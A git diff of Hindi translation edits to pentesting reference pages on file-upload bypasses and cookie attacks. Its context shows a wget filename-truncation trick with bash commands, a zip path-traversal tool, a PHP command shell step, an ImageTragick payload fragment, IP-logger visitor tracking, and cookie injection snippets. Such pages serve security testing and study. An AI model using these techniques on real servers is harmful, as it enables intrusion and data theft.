यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)।\
|
||||
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)।
|
||||
|
||||
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करके, या इसे स्क्रिप्ट के अंदर शामिल करके...)
|
||||
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
|
||||
|
||||
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**।
|
||||
|
||||
@ -133,8 +133,8 @@ uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्
|
||||
|
||||
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
|
||||
|
||||
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **रिनेम** करेगा।
|
||||
कुछ अवसरों पर आप पाएंगे कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**।
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -177,7 +177,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
- [**XXE और CORS** बायपास PDF-एडोब अपलोड के साथ](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: [निम्नलिखित पृष्ठ दिखाता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाने JS को निष्पादित करेगा।
|
||||
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे **PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
|
||||
- फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
|
||||
|
||||
@ -219,7 +219,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### विभिन्न फ़ोल्डरों में डिकम्प्रेस करें
|
||||
|
||||
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संकुचन समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
|
||||
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
|
||||
|
||||
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
|
||||
```python
|
||||
@ -252,7 +252,7 @@ create_zip()
|
||||
|
||||
अधिक विवरण के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **PHP शेल बनाना**: PHP कोड लिखा गया है ताकि `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित किया जा सके।
|
||||
1. **PHP शेल बनाना**: PHP कोड लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है।
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -279,7 +279,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [एक्सप्लॉइट](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -290,17 +290,17 @@ pop graphic-context
|
||||
|
||||
PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ छवि प्रसंस्करण संचालन को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इनका उपयोग आमतौर पर छवियों को आकार देने और पुनः नमूना लेने के लिए किया जाता है। एम्बेडेड PHP शेल की इन संचालन से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
|
||||
|
||||
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
|
||||
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
|
||||
|
||||
अधिक जानकारी के लिए: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## पॉलीग्लॉट फ़ाइलें
|
||||
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR संग्रह दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद हो सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR संग्रह दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
|
||||
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों के अनुसार है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
|
||||
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुसार होता है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
|
||||
हालांकि उनकी अनुकूलता के बावजूद, पॉलीग्लॉट सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
|
||||
|
||||
अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित की जाती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा नहीं दी जाती। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित की जाती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी को हटा नहीं दिया जाता। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
|
||||
|
||||
### Domain
|
||||
|
||||
@ -28,9 +28,9 @@
|
||||
### SameSite
|
||||
|
||||
- `SameSite` विशेषता यह निर्धारित करती है कि क्या कुकीज़ तीसरे पक्ष के डोमेन से उत्पन्न अनुरोधों पर भेजी जाती हैं। यह तीन सेटिंग्स प्रदान करती है:
|
||||
- **Strict**: तीसरे पक्ष के अनुरोधों पर कुकी भेजने से रोकता है।
|
||||
- **Lax**: तीसरे पक्ष की वेबसाइटों द्वारा शुरू किए गए GET अनुरोधों के साथ कुकी भेजने की अनुमति देता है।
|
||||
- **None**: किसी भी तीसरे पक्ष के डोमेन से कुकी भेजने की अनुमति देता है।
|
||||
- **Strict**: तीसरे पक्ष के अनुरोधों पर कुकी को भेजने से रोकता है।
|
||||
- **Lax**: तीसरे पक्ष की वेबसाइटों द्वारा शुरू किए गए GET अनुरोधों के साथ कुकी को भेजने की अनुमति देता है।
|
||||
- **None**: किसी भी तीसरे पक्ष के डोमेन से कुकी को भेजने की अनुमति देता है।
|
||||
|
||||
याद रखें, कुकीज़ को कॉन्फ़िगर करते समय, इन विशेषताओं को समझना यह सुनिश्चित करने में मदद कर सकता है कि वे विभिन्न परिदृश्यों में अपेक्षित रूप से व्यवहार करें।
|
||||
|
||||
@ -45,7 +45,7 @@
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
एक कुकी जिसमें _**SameSite**_ विशेषता होगी **CSRF हमलों को कम करेगी** जहाँ एक लॉग इन सत्र की आवश्यकता होती है।
|
||||
एक कुकी जिसमें _**SameSite**_ विशेषता होगी, **CSRF हमलों को कम करेगी** जहाँ एक लॉग इन सत्र की आवश्यकता होती है।
|
||||
|
||||
**\*ध्यान दें कि Chrome80 (फरवरी/2019) से बिना कुकी सैमसाइट** **विशेषता वाली कुकी का डिफ़ॉल्ट व्यवहार लक्स होगा** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
ध्यान दें कि अस्थायी रूप से, इस परिवर्तन को लागू करने के बाद, Chrome में **SameSite** **नीति** के बिना कुकीज़ को **पहले 2 मिनट के लिए None के रूप में और फिर शीर्ष स्तर के क्रॉस-साइट POST अनुरोध के लिए Lax के रूप में** **व्यवहार किया जाएगा।**
|
||||
@ -62,7 +62,7 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
||||
- इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर में भेजी गई कुकीज़ को दर्शाया जाएगा (यदि यह HTTP विधि उपलब्ध है)। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
|
||||
- आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे कुछ बायपास विशेष सॉफ़्टवेयर में पाए गए हैं।
|
||||
- एक और तरीका ब्राउज़रों की शून्य/दिन की कमजोरियों का शोषण करना है।
|
||||
- यह **HttpOnly कुकीज़ को ओवरराइट** करने के लिए कुकी जार ओवरफ्लो हमले का प्रदर्शन करके संभव है:
|
||||
- यह एक कुकी जार ओवरफ्लो हमले को अंजाम देकर **HttpOnly कुकीज़ को ओवरराइट** करना संभव है:
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
@ -72,7 +72,7 @@ cookie-jar-overflow.md
|
||||
|
||||
### Secure
|
||||
|
||||
अनुरोध केवल तभी कुकी भेजेगा जब अनुरोध एक सुरक्षित चैनल (आमतौर पर **HTTPS**) के माध्यम से प्रसारित किया गया हो।
|
||||
अनुरोध केवल तभी कुकी भेजेगा जब अनुरोध एक सुरक्षित चैनल (आमतौर पर **HTTPS**) के माध्यम से प्रेषित किया गया हो।
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
@ -82,10 +82,10 @@ cookie-jar-overflow.md
|
||||
|
||||
- इन्हें `secure` ध्वज के साथ सेट किया जाना चाहिए।
|
||||
- इन्हें HTTPS द्वारा सुरक्षित पृष्ठ से उत्पन्न होना चाहिए।
|
||||
- इन्हें एक डोमेन निर्दिष्ट करने की अनुमति नहीं है, जिससे उपडोमेन में उनके संचरण को रोका जा सके।
|
||||
- इन्हें एक डोमेन निर्दिष्ट करने की अनुमति नहीं है, जिससे इन्हें उपडोमेन में प्रेषित करने से रोका जा सके।
|
||||
- इन कुकीज़ के लिए पथ को `/` पर सेट किया जाना चाहिए।
|
||||
|
||||
यह ध्यान रखना महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
|
||||
यह महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
@ -93,17 +93,17 @@ cookie-jar-overflow.md
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
या PHP में कुकी नाम की शुरुआत में **अन्य वर्ण जोड़ना** संभव था जिन्हें **अंडरस्कोर** वर्णों द्वारा **बदल दिया जाएगा**, जिससे `__HOST-` कुकीज़ को ओवरराइट किया जा सके:
|
||||
या PHP में कुकी नाम के प्रारंभ में **अन्य वर्ण जोड़ना** संभव था जिन्हें **अंडरस्कोर** वर्णों द्वारा **बदल दिया जाएगा**, जिससे `__HOST-` कुकीज़ को ओवरराइट किया जा सके:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
यदि एक कस्टम कुकी में संवेदनशील डेटा है तो इसे जांचें (विशेष रूप से यदि आप एक CTF खेल रहे हैं), क्योंकि यह कमजोर हो सकता है।
|
||||
यदि एक कस्टम कुकी में संवेदनशील डेटा है, तो इसे जांचें (विशेष रूप से यदि आप एक CTF खेल रहे हैं), क्योंकि यह कमजोर हो सकता है।
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को कुकी में वापस एन्कोड करके।
|
||||
कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है, उनके संशोधित डेटा को फिर से कुकी में एन्कोड करके।
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
@ -111,7 +111,7 @@ cookie-jar-overflow.md
|
||||
|
||||
### Session Fixation
|
||||
|
||||
इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जो मूल कुकी रखता है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉगिन करता है।
|
||||
इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जो मूल कुकी रखता है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है।
|
||||
|
||||
यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें:
|
||||
|
||||
@ -137,11 +137,11 @@ JWT में संभावित दोषों को समझाने
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ निष्पादित करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो कमजोर साइट पर हर अनुरोध के साथ स्वचालित रूप से भेजी जाती हैं।
|
||||
यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का शोषण कर सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं।
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़र बिना नाम वाली कुकीज़ बनाने की अनुमति देते हैं, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है:
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़रों को बिना नाम वाली कुकीज़ बनाने की अनुमति है, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
@ -159,7 +159,7 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
|
||||
#### Chrome बग: यूनिकोड सरोगेट कोडपॉइंट समस्या
|
||||
|
||||
Chrome में, यदि एक यूनिकोड सरोगेट कोडपॉइंट सेट कुकी का हिस्सा है, तो `document.cookie` भ्रष्ट हो जाता है, जिसके परिणामस्वरूप एक खाली स्ट्रिंग लौटती है:
|
||||
Chrome में, यदि एक यूनिकोड सरोगेट कोडपॉइंट सेट कुकी का हिस्सा है, तो `document.cookie` भ्रष्ट हो जाता है, और इसके बाद एक खाली स्ट्रिंग लौटाता है:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
@ -167,7 +167,7 @@ document.cookie = "\ud800=meep"
|
||||
|
||||
#### पार्सिंग समस्याओं के कारण कुकी स्मगलिंग
|
||||
|
||||
(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) कई वेब सर्वर, जिनमें Java (Jetty, TomCat, Undertow) और Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) शामिल हैं, पुराने RFC2965 समर्थन के कारण कुकी स्ट्रिंग्स को गलत तरीके से संभालते हैं। वे एक डबल-क्वोटेड कुकी मान को एकल मान के रूप में पढ़ते हैं, भले ही इसमें सेमीकोलन शामिल हों, जो सामान्यतः कुंजी-मूल्य जोड़ों को अलग करना चाहिए:
|
||||
(अधिक विवरण के लिए[मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) कई वेब सर्वर, जिनमें Java (Jetty, TomCat, Undertow) और Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) शामिल हैं, पुराने RFC2965 समर्थन के कारण कुकी स्ट्रिंग्स को गलत तरीके से संभालते हैं। वे एक डबल-क्वोटेड कुकी मान को एकल मान के रूप में पढ़ते हैं, भले ही इसमें सेमीकोलन शामिल हों, जो सामान्यतः कुंजी-मूल्य जोड़ों को अलग करना चाहिए:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
@ -175,11 +175,11 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही तरीके से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है:
|
||||
|
||||
- Undertow एक उद्धृत मान के तुरंत बाद एक नई कुकी की अपेक्षा करता है बिना सेमीकोलन के।
|
||||
- Undertow एक उद्धृत मान के तुरंत बाद एक नए कुकी की अपेक्षा करता है बिना सेमीकोलन के।
|
||||
- Zope अगली कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है।
|
||||
- Python की कुकी कक्षाएँ एक स्पेस कैरेक्टर पर पार्सिंग शुरू करती हैं।
|
||||
|
||||
यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जो सुरक्षा उपायों को बायपास कर सकती है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाता है और कुकीज़ को बैक-एंड सर्वरों को पास करते समय प्राधिकरण बायपास का कारण बन सकता है जो स्पूफिंग के प्रति संवेदनशील हैं।
|
||||
